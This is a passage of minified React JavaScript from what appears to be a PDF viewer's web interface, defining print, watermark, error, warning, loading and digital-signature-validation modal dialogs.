e.setColorPaletteVisibility(!1)}},s.a.createElement(Xg,{color:r[uN],property:"TextColor",onStyleChange:function(t,n){e.onColorChanged(n),e.setColorPaletteVisibility(!1)}})))))),s.a.createElement("div",{className:"divider"}),s.a.createElement("div",{className:"button-container"},s.a.createElement("button",{className:"reset-settings",id:"reset",onClick:this.resetForm},t("option.watermark.resetAllSettings")),s.a.createElement("button",{className:"ok button",id:"submit",onClick:this.onOkPressed},t("action.add"))))))}}])&&QI(t.prototype,n),r&&QI(t,r),Object.defineProperty(t,"prototype",{writable:!1}),i}(s.a.PureComponent);oN(vN,"propTypes",{isVisible:Is.a.bool,pageIndexToView:Is.a.number,modalClosed:Is.a.func,formSubmitted:Is.a.func,t:Is.a.func.isRequired});var yN=xm()(vN),bN={Single:"Single",Continuous:"Continuous",Facing:"Facing",FacingContinuous:"FacingContinuous",FacingCover:"CoverFacing",FacingCoverContinuous:"Cover"};n(1075);function wN(e){return(wN="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function EN(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}function SN(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function CN(e,t){return(CN=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function xN(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=_N(e);if(t){var o=_N(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return ON(this,n)}}function ON(e,t){if(t&&("object"===wN(t)||"function"==typeof t))return t;if(void 0!==t)throw new TypeError("Derived constructors may only return object or undefined");return AN(e)}function AN(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function _N(e){return(_N=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function TN(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var kN=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),Object.defineProperty(e,"prototype",{writable:!1}),t&&CN(e,t)}(i,e);var t,n,r,o=xN(i);function i(){var e;return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,i),TN(AN(e=o.call(this)),"onChange",(function(){var t=e.props,n=t.currentPage,r=t.pageLabels,o=t.layoutMode,i=[];if(e.allPages.current.checked)for(var a=1;a<=vt.getTotalPages();a++)i.push(a);else if(e.currentPage.current.checked){var l=vt.getTotalPages();switch(o){case bN.FacingCover:case bN.FacingCoverContinuous:1===n||n===l&&l%2==0?i.push(n):i=n%2?[n-1,n]:[n,n+1];break;case bN.FacingContinuous:case bN.Facing:n===l&&l%2==1?i.push(n):i=n%2?[n,n+1]:[n-1,n];break;default:i.push(n)}}else if(e.customPages.current.checked){var s=e.customInput.current.value.replace(/\s+/g,"");i=MO(s,r)}else e.currentView.current.checked&&(i=[n]);e.setState({pagesToPrint:i})})),TN(AN(e),"createPagesAndPrint",(function(t){var n;if(t.preventDefault(),!(e.state.pagesToPrint.length<1)){var r=e.props.language;e.setState({count:0}),e.state.allowWatermarkModal?vt.setWatermark(e.props.watermarkModalOptions):vt.setWatermark(e.state.existingWatermarks);var o=gc(e.state.pagesToPrint,e.state.includeComments,e.state.includeAnnotations,e.state.maintainPageOrientation,e.props.printQuality,e.props.sortStrategy,e.props.colorMap,e.props.printedNoteDateFormat,void 0,null===(n=e.currentView.current)||void 0===n?void 0:n.checked,r);o.forEach(function(){var t=function(e){return function(){var t=this,n=arguments;return new Promise((function(r,o){var i=e.apply(t,n);function a(e){EN(i,r,o,a,l,"next",e)}function l(e){EN(i,r,o,a,l,"throw",e)}a(void 0)}))}}(regeneratorRuntime.mark((function t(n){return regeneratorRuntime.wrap((function(t){for(;;)switch(t.prev=t.next){case 0:return t.next=2,n;case 2:e.setState({count:e.state.count<e.state.pagesToPrint.length&&-1!==e.state.count?e.state.count+1:e.state.count});case 3:case"end":return t.stop()}}),t)})));return function(e){return t.apply(this,arguments)}}()),Promise.all(o).then((function(t){vc(t),e.closePrintModal()})).catch((function(t){console.error(t),e.setState({count:-1})}))}})),TN(AN(e),"closePrintModal",(function(){e.setState({count:-1}),e.props.closeElement("printModal")})),TN(AN(e),"setWatermarkModalVisibility",(function(t){e.setState({isWatermarkModalVisible:t})})),e.allPages=s.a.createRef(),e.currentPage=s.a.createRef(),e.customPages=s.a.createRef(),e.customInput=s.a.createRef(),e.includeComments=s.a.createRef(),e.currentView=s.a.createRef(),e.pendingCanvases=[],e.state={allowWatermarkModal:!1,count:-1,pagesToPrint:[],isWatermarkModalVisible:!1,existingWatermarks:null,includeAnnotations:!0,includeComments:!1,allowDefaultPrintOptions:!0,maintainPageOrientation:!1},e}return t=i,(n=[{key:"componentDidUpdate",value:function(e){var t=this;!e.isOpen&&this.props.isOpen&&(this.onChange(),this.props.closeElements(["signatureModal","loadingModal","progressModal","errorModal"]),vt.getWatermark().then((function(e){t.setState({allowWatermarkModal:null==e||0===Object.keys(e).length,existingWatermarks:e})}))),e.isOpen&&!this.props.isOpen&&(vt.setWatermark(this.state.existingWatermarks),this.setState({isWatermarkModalVisible:!1}))}},{key:"render",value:function(){var e,t,n,r=this,o=this.props,i=o.isDisabled,a=o.t,l=o.isApplyWatermarkDisabled,u=o.isOpen;if(i)return null;this.state.allowDefaultPrintOptions&&this.props.defaultPrintOptions&&(this.state.includeAnnotations=null!==(e=this.props.defaultPrintOptions.includeAnnotations)&&void 0!==e?e:this.state.includeAnnotations,this.state.includeComments=null!==(t=this.props.defaultPrintOptions.includeComments)&&void 0!==t?t:this.state.includeComments,this.state.maintainPageOrientation=null!==(n=this.props.defaultPrintOptions.maintainPageOrientation)&&void 0!==n?n:this.state.maintainPageOrientation,this.state.allowDefaultPrintOptions=!1);var c=this.state,f=c.count,d=c.pagesToPrint,p=c.includeAnnotations,h=c.includeComments,m=f>=0,g=Kj("Modal PrintModal",this.props),v=s.a.createElement(s.a.Fragment,null,a("option.print.specifyPages"),s.a.createElement("input",{ref:this.customInput,hidden:!this.customPages.current||this.customPages.current&&!this.customPages.current.checked,type:"text",placeholder:a("message.customPrintPlaceholder"),"aria-label":a("message.customPrintPlaceholder"),onChange:this.onChange,disabled:m}));return s.a.createElement(Op,{onSwipedUp:this.closePrintModal,onSwipedDown:this.closePrintModal,preventDefaultTouchmoveEvent:!0},s.a.createElement(s.a.Fragment,null,s.a.createElement(yN,{isVisible:!(!u||!this.state.isWatermarkModalVisible),pageIndexToView:this.props.currentPage-1,modalClosed:this.setWatermarkModalVisibility,formSubmitted:this.props.setWatermarkModalOptions}),s.a.createElement("div",{className:g,"data-element":"printModal"},s.a.createElement(nh,{isOpen:u&&!this.state.isWatermarkModalVisible,title:"option.print.printSettings",containerOnClick:function(e){return e.stopPropagation()},onCloseClick:this.closePrintModal,closeButtonDataElement:"printModalCloseButton"},s.a.createElement("div",{className:"swipe-indicator"}),s.a.createElement("div",{className:"settings"},s.a.createElement("div",{className:"section"},s.a.createElement("div",{className:"section-label"},"".concat(a("option.print.pages"),":")),s.a.createElement("form",{className:"settings-form",onChange:this.onChange,onSubmit:this.createPagesAndPrint},s.a.createElement(ry,{dataElement:"allPagesPrintOption",ref:this.allPages,id:"all-pages",name:"pages",radio:!0,label:a("option.print.all"),defaultChecked:!0,disabled:m,center:!0}),s.a.createElement(ry,{dataElement:"currentPagePrintOption",ref:this.currentPage,id:"current-page",name:"pages",radio:!0,label:a("option.print.current"),disabled:m,center:!0}),s.a.createElement(ry,{dataElement:"currentViewPrintOption",ref:this.currentView,id:"current-view",name:"pages",radio:!0,label:a("option.print.view"),disabled:m,center:!0}),s.a.createElement(ry,{dataElement:"customPagesPrintOption",ref:this.customPages,id:"custom-pages",name:"pages",className:"specify-pages-choice",radio:!0,label:v,disabled:m,center:!0}),s.a.createElement(ry,{dataElement:"commentsPrintOption",ref:this.includeComments,id:"include-comments",name:"comments",label:a("option.print.includeComments"),onChange:function(){return r.setState((function(e){return{includeComments:!e.includeComments}}))},disabled:m,checked:h,center:!0}),s.a.createElement(ry,{dataElement:"annotationsPrintOption",id:"include-annotations",name:"annotations",label:a("option.print.includeAnnotations"),disabled:m,onChange:function(){return r.setState((function(e){return{includeAnnotations:!e.includeAnnotations}}))},checked:p,center:!0}))),s.a.createElement("div",{className:"section"},s.a.createElement("div",{className:"section-label"},"".concat(a("option.print.pageQuality"),":")),s.a.createElement("label",{className:"printQualitySelectLabel"},s.a.createElement("select",{className:"printQualitySelect",onChange:function(e){return r.props.setPrintQuality(Number(e.target.value))},value:this.props.printQuality},s.a.createElement("option",{value:"2"},"".concat(a("option.print.qualityHigh"))),s.a.createElement("option",{value:"1"},"".concat(a("option.print.qualityNormal"))))),s.a.createElement("div",{className:"total"},m?s.a.createElement("div",null,"".concat(a("message.processing")," ").concat(f,"/").concat(d.length)):s.a.createElement("div",null,a("message.printTotalPageCount",{count:d.length})))),!l&&s.a.createElement("div",{className:"section watermark-section"},s.a.createElement("div",{className:"section-label"},a("option.watermark.title")),s.a.createElement("button",{"data-element":"applyWatermark",className:"apply-watermark",disabled:m,onClick:function(){m||r.setWatermarkModalVisibility(!0)}},a("option.watermark.addNew")))),s.a.createElement("div",{className:"divider"}),s.a.createElement("div",{className:"buttons"},s.a.createElement("button",{className:"button",onClick:this.createPagesAndPrint,disabled:f>-1},a("action.print")))))))}}])&&SN(t.prototype,n),r&&SN(t,r),Object.defineProperty(t,"prototype",{writable:!1}),i}(s.a.PureComponent);TN(kN,"propTypes",{isDisabled:Is.a.bool,isOpen:Is.a.bool,currentPage:Is.a.number,printQuality:Is.a.number.isRequired,pageLabels:Is.a.array.isRequired,closeElement:Is.a.func.isRequired,dispatch:Is.a.func.isRequired,closeElements:Is.a.func.isRequired,setPrintQuality:Is.a.func.isRequired,t:Is.a.func.isRequired,sortStrategy:Is.a.string.isRequired,colorMap:Is.a.object.isRequired,layoutMode:Is.a.string.isRequired,isApplyWatermarkDisabled:Is.a.bool,printedNoteDateFormat:Is.a.string,language:Is.a.string,setWatermarkModalOptions:Is.a.func.isRequired,watermarkModalOptions:Is.a.object});var PN=Q((function(e){return{isDisabled:fi.isElementDisabled(e,"printModal"),isApplyWatermarkDisabled:fi.isElementDisabled(e,"applyWatermark"),isOpen:fi.isElementOpen(e,"printModal"),currentPage:fi.getCurrentPage(e),printQuality:fi.getPrintQuality(e),defaultPrintOptions:fi.getDefaultPrintOptions(e),pageLabels:fi.getPageLabels(e),sortStrategy:fi.getSortStrategy(e),colorMap:fi.getColorMap(e),layoutMode:fi.getDisplayMode(e),printedNoteDateFormat:fi.getPrintedNoteDateFormat(e),language:fi.getCurrentLanguage(e),watermarkModalOptions:fi.getWatermarkModalOptions(e)}}),(function(e){return{dispatch:e,closeElement:function(t){return e(Ps.closeElement(t))},closeElements:function(t){return e(Ps.closeElements(t))},setPrintQuality:function(t){return e(Ps.setPrintQuality(t))},setWatermarkModalOptions:function(t){return e(Ps.setWatermarkModalOptions(t))}}}))(xm()(kN));n(1076);function MN(e){return(MN="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function RN(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function jN(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function LN(e,t){return(LN=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function IN(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=DN(e);if(t){var o=DN(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return NN(this,n)}}function NN(e,t){if(t&&("object"===MN(t)||"function"==typeof t))return t;if(void 0!==t)throw new TypeError("Derived constructors may only return object or undefined");return function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e)}function DN(e){return(DN=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}var FN=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),Object.defineProperty(e,"prototype",{writable:!1}),t&&LN(e,t)}(i,e);var t,n,r,o=IN(i);function i(){return RN(this,i),o.apply(this,arguments)}return t=i,(n=[{key:"componentDidUpdate",value:function(e){!e.isOpen&&this.props.isOpen&&this.props.closeElements(["signatureModal","printModal","errorModal"])}},{key:"render",value:function(){if(this.props.isDisabled)return null;var e=Kj("Modal LoadingModal",this.props);return s.a.createElement("div",{className:e,"data-element":"loadingModal"},s.a.createElement("div",{className:"container"},s.a.createElement("div",{className:"inner-wrapper"})))}}])&&jN(t.prototype,n),r&&jN(t,r),Object.defineProperty(t,"prototype",{writable:!1}),i}(s.a.PureComponent);!function(e,t,n){t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n}(FN,"propTypes",{isDisabled:Is.a.bool,isOpen:Is.a.bool,closeElements:Is.a.func.isRequired});var BN=Q((function(e){return{isDisabled:fi.isElementDisabled(e,"loadingModal"),isOpen:fi.isElementOpen(e,"loadingModal"),loadingProgress:fi.getLoadingProgress(e)}}),{closeElements:Ps.closeElements})(FN);n(1077);function HN(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return VN(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return VN(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function VN(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var zN=function(){var e=HN(le((function(e){return[fi.getErrorMessage(e),fi.isElementDisabled(e,"errorModal"),fi.isElementOpen(e,"errorModal"),fi.getIsMultiTab(e)]}),N),4),t=e[0],n=e[1],r=e[2],o=e[3],i=re(),a=HN(Ks(),1)[0];Object(l.useEffect)((function(){if(r)return i(Ps.closeElements(["signatureModal","printModal","loadingModal","progressModal","passwordModal","filterModal"])),window.addEventListener("keydown",(function(e){return _p(e,d)})),function(){return window.removeEventListener("keydown",_p)}}),[i,r]),Object(l.useEffect)((function(){var e=function(e){var t,n,r;"string"==typeof(e=(null===(t=e.detail)||void 0===t?void 0:t.message)||e.detail||e.message)?(r=e).includes("File does not exist")&&(r="message.notSupported"):"InvalidPDF"===(null===(n=e)||void 0===n?void 0:n.type)&&(r="message.badDocument"),r&&i(Ps.showErrorMessage(r))};return window.addEventListener("loaderror",e),function(){return window.removeEventListener("loaderror",e)}}),[i]);var u,c=t.startsWith("message."),f=0;o&&(f+=null===(u=document.getElementsByClassName("TabsHeader")[0])||void 0===u?void 0:u.getBoundingClientRect().bottom);var d=function(){i(Ps.closeElement("errorModal"))};return n?null:s.a.createElement("div",{className:js()({Modal:!0,ErrorModal:!0,open:r,closed:!r}),style:o?{height:"calc(100% - ".concat(f,"px)")}:void 0,"data-element":"errorModal"},s.a.createElement(nh,{isOpen:r,title:"message.error",closeButtonDataElement:"errorModalCloseButton",onCloseClick:d},s.a.createElement("div",{className:"modal-content error-modal-content"},s.a.createElement("p",null,c?a(t):t)),s.a.createElement("div",{className:"modal-footer footer"},s.a.createElement(bf,{className:"confirm modal-button",dataElement:"closeErrorModalButton",label:a("action.ok"),onClick:d}))))};n(1078);function UN(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}function GN(e){return function(){var t=this,n=arguments;return new Promise((function(r,o){var i=e.apply(t,n);function a(e){UN(i,r,o,a,l,"next",e)}function l(e){UN(i,r,o,a,l,"throw",e)}a(void 0)}))}}function WN(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return qN(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return qN(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function qN(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var ZN=function(){var e=WN(le((function(e){return[fi.getWarningTitle(e)||"",fi.getWarningMessage(e),fi.getWarningConfirmEvent(e),fi.getWarningConfirmBtnText(e),fi.getWarningSecondaryEvent(e),fi.getWarningSecondaryBtnText(e),fi.getWarningCancelEvent(e),fi.isElementDisabled(e,"warningModal"),fi.isElementOpen(e,"warningModal")]}),N),9),t=e[0],n=e[1],r=e[2],o=e[3],i=e[4],a=e[5],u=e[6],c=e[7],f=e[8],d=re();if(c)return null;var p=Kj("Modal WarningModal",{isOpen:f}),h=o||st.t("action.ok");Object(l.useEffect)((function(){return vt.addEventListener("documentUnloaded",m),function(){vt.removeEventListener("documentUnloaded",m)}}),[]);var m=function(){var e=GN(regeneratorRuntime.mark((function e(){return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if(e.t0=u,!e.t0){e.next=4;break}return e.next=4,u();case 4:y();case 5:case"end":return e.stop()}}),e)})));return function(){return e.apply(this,arguments)}}(),g=function(){var e=GN(regeneratorRuntime.mark((function e(){return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if(e.t0=r,!e.t0){e.next=4;break}return e.next=4,r();case 4:y();case 5:case"end":return e.stop()}}),e)})));return function(){return e.apply(this,arguments)}}(),v=function(){var e=GN(regeneratorRuntime.mark((function e(){return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if(e.t0=i,!e.t0){e.next=4;break}return e.next=4,i();case 4:y();case 5:case"end":return e.stop()}}),e)})));return function(){return e.apply(this,arguments)}}(),y=function(){return d(Ps.closeElements(["warningModal"]))};return s.a.createElement(Op,{onSwipedUp:m,onSwipedDown:m,preventDefaultTouchmoveEvent:!0},s.a.createElement("div",{className:p,onMouseDown:m},s.a.createElement("div",{className:"container",onMouseDown:function(e){return e.stopPropagation()}},s.a.createElement("div",{className:"swipe-indicator"}),s.a.createElement("div",{className:"header"},s.a.createElement("div",{className:"header-text"},t),s.a.createElement(bf,{img:"icon-close",onClick:m,dataElement:"closeModalButton",title:"action.cancel"})),s.a.createElement("div",{className:"divider"}),s.a.createElement("div",{className:"body"},n),s.a.createElement("div",{className:"divider"}),s.a.createElement("div",{className:"footer"},i&&s.a.createElement(bf,{className:"confirm modal-button",dataElement:"WarningModalClearButton",label:a,onClick:v}),s.a.createElement(bf,{className:"confirm modal-button",dataElement:"WarningModalSignButton",label:h,onClick:g})))))};n(1079);function YN(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return $N(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return $N(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function $N(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var KN=function(){var e=Object(l.useRef)(),t=YN(Ks(),1)[0],n=YN(le((function(e){var t=e.viewer.validationModalWidgetName;return[fi.isElementOpen(e,"signatureValidationModal"),fi.getVerificationResult(e,t)]}),N),2),r=n[0],o=n[1],i=re(),a=function(){i(Ps.closeElements(["signatureValidationModal"]))};yp(e,a),Object(l.useEffect)((function(){r&&i(Ps.closeElements(["signatureModal","printModal","errorModal","loadingModal","passwordModal"]))}),[i,r]);var u=o.badgeIcon,c=o.verificationStatus,f=o.permissionStatus,d=o.isCertification,p=o.documentPermission,h=o.trustVerificationResultString,m=o.timeOfTrustVerificationEnum,g=o.trustVerificationTime,v=o.digestAlgorithm,y=o.digestStatus,b=o.documentStatus,w=o.trustStatus,E=o.signerName,S=window.PDFNet,C=S.DigestAlgorithm,x=S.DigitalSignatureField,O=S.VerificationOptions,A=S.VerificationResult,_=A.ModificationPermissionsStatus,T=A.TrustStatus,k=A.DigestStatus,P=A.DocumentStatus,M=O.TimeMode;return s.a.createElement("div",{className:js()({Modal:!0,SignatureValidationModal:!0,open:r,closed:!r}),"data-element":"signatureValidationModal"},s.a.createElement("div",{className:"container",ref:e},function(){var e;switch(u){case"digital_signature_valid":e=t("digitalSignatureModal.valid");break;case"digital_signature_warning":e=t("digitalSignatureModal.unknown");break;case"digital_signature_error":e=t("digitalSignatureModal.invalid");break;default:e=t("digitalSignatureModal.unknown")}var n=t(d?"digitalSignatureModal.Certification":"digitalSignatureModal.Signature"),r=t(d?"digitalSignatureModal.certification":"digitalSignatureModal.signature");return s.a.createElement("div",null,s.a.createElement("div",{className:"validation-header"},t("digitalSignatureModal.title",{type:n})),s.a.createElement("div",{className:"summary-box"},s.a.createElement(zR,{badge:u,size:"medium"}),s.a.createElement("div",null,t("digitalSignatureModal.summaryBox.summary",{type:r,status:e}),"digital_signature_valid"===u?t("digitalSignatureModal.summaryBox.signedBy",{name:E||t("digitalSignatureModal.unknown")}):"")))}(),void 0===c?s.a.createElement("div",{className:"center"},s.a.createElement(BR,null)):s.a.createElement(s.a.Fragment,null,s.a.createElement("div",{className:"body"},s.a.createElement("div",{className:"section"},s.a.createElement("p",{className:"header"},t("digitalSignatureModal.header.documentIntegrity")),function(e){var t,n=e.isCertification,r=e.ModificationPermissionsStatus,o=e.permissionStatus,i=e.translate;switch(o){case r.e_invalidated_by_disallowed_changes:t=i("digitalSignatureVerification.permissionStatus.invalidatedByDisallowedChanges");break;case r.e_has_allowed_changes:t=i("digitalSignatureVerification.permissionStatus.hasAllowedChanges");break;case r.e_unmodified:t="".concat(i("digitalSignatureVerification.permissionStatus.unmodified")," ").concat(i(n?"digitalSignatureVerification.certified":"digitalSignatureVerification.signed"),".");break;case r.e_permissions_verification_disabled:t=i("digitalSignatureVerification.permissionStatus.permissionsVerificationDisabled");break;case r.e_no_permissions_status:t=i("digitalSignatureVerification.permissionStatus.noPermissionsStatus")}return s.a.createElement("p",null,t)}({isCertification:d,ModificationPermissionsStatus:_,permissionStatus:f,translate:t}),function(){var e=x.DocumentPermissions,n=e.e_no_changes_allowed,r=e.e_formfilling_signing_allowed,o=e.e_annotating_formfilling_signing_allowed,i=e.e_unrestricted;if(p){var a="",l=d?"certifier":"signer";switch(p){case n:a+=t("digitalSignatureModal.documentPermission.noChangesAllowed",{editor:l});break;case r:a+=t("digitalSignatureModal.documentPermission.formfillingSigningAllowed",{editor:l});break;case o:a+=t("digitalSignatureModal.documentPermission.annotatingFormfillingSigningAllowed",{editor:l});break;case i:a+=t("digitalSignatureModal.documentPermission.unrestricted",{editor:l})}return s.a.createElement("p",null,a)}}()),s.a.createElement("div",{className:"section"},s.a.createElement("p",{className:"header"},t("digitalSignatureModal.header.identitiesTrust")),function(){var e,n=t(d?"digitalSignatureVerification.certifier":"digitalSignatureVerification.signer");switch(w){case T.e_trust_verified:e=t("digitalSignatureVerification.trustStatus.trustVerified",{verificationType:n});break;case T.e_untrusted:e=t("digitalSignatureVerification.trustStatus.untrusted");break;case T.e_trust_verification_disabled:e=t("digitalSignatureVerification.trustStatus.trustVerificationDisabled");break;case T.e_no_trust_status:e=t("digitalSignatureVerification.trustStatus.noTrustStatus")}return s.a.createElement("p",null,e)}(),function(){var e=M.e_current,n=M.e_signing,r=M.e_timestamp;if(!h)return s.a.createElement("p",null,t("digitalSignatureModal.trustVerification.none"));var o="";switch(m){case e:o+=t("digitalSignatureModal.trustVerification.current",{trustVerificationTime:g});break;case n:o+=t("digitalSignatureModal.trustVerification.signing",{trustVerificationTime:g});break;case r:o+=t("digitalSignatureModal.trustVerification.timestamp",{trustVerificationTime:g})}return s.a.createElement("p",null,o)}()),s.a.createElement("div",{className:"section"},s.a.createElement("p",{className:"header"},t("digitalSignatureModal.header.generalErrors")),function(){var e;switch(b){case P.e_no_error:e=t("digitalSignatureVerification.documentStatus.noError");break;case P.e_corrupt_file:e=t("digitalSignatureVerification.documentStatus.corruptFile");break;case P.e_unsigned:e=t("digitalSignatureVerification.documentStatus.unsigned");break;case P.e_bad_byteranges:e=t("digitalSignatureVerification.documentStatus.badByteRanges");break;case P.e_corrupt_cryptographic_contents:e=t("digitalSignatureVerification.documentStatus.corruptCryptographicContents")}return s.a.createElement("p",null,e)}()),s.a.createElement("div",{className:"section"},s.a.createElement("p",{className:"header"},t("digitalSignatureModal.header.digestStatus")),function(){var e;switch(y){case k.e_digest_invalid:e=t("digitalSignatureVerification.digestStatus.digestInvalid");break;case k.e_digest_verified:e=t("digitalSignatureVerification.digestStatus.digestVerified");break;case k.e_digest_verification_disabled:e=t("digitalSignatureVerification.digestStatus.digestVerificationDisabled");break;case k.e_weak_digest_algorithm_but_digest_verifiable:e=t("digitalSignatureVerification.digestStatus.weakDigestAlgorithmButDigestVerifiable");break;case k.e_no_digest_status:e=t("digitalSignatureVerification.digestStatus.noDigestStatus");break;case k.e_unsupported_encoding:e=t("digitalSignatureVerification.digestStatus.unsupportedEncoding")}return s.a.createElement("p",null,e)}(),function(){var e=C.Type,n=e.e_SHA1,r=e.e_SHA256,o=e.e_SHA384,i=e.e_SHA512,a=e.e_RIPEMD160,l=e.e_unknown_digest_algorithm,u=t("digitalSignatureModal.digestAlgorithm.preamble");switch(v){case n:u+="SHA1.";break;case r:u+="SHA256.";break;case o:u+="SHA384.";break;case i:u+="SHA512.";break;case a:u+="RIPEMD160.";break;case l:u=t("digitalSignatureModal.digestAlgorithm.unknown")}return s.a.createElement("p",null,u)}())),s.a.createElement("div",{className:"modal-footer"},s.a.createElement("button",{className:"close-modal-button",onClick:a},"OK")))))};n(1080);function XN(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return QN(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return QN(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function QN(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var JN=function(){var e=XN(le((function(e){return[fi.isElementDisabled(e,"progressModal"),fi.isElementOpen(e,"progressModal"),fi.getLoadingProgress(e)]}),N),3),t=e[0],n=e[1],r=e[2],o=re(),i=Object(l.useRef)(null);return 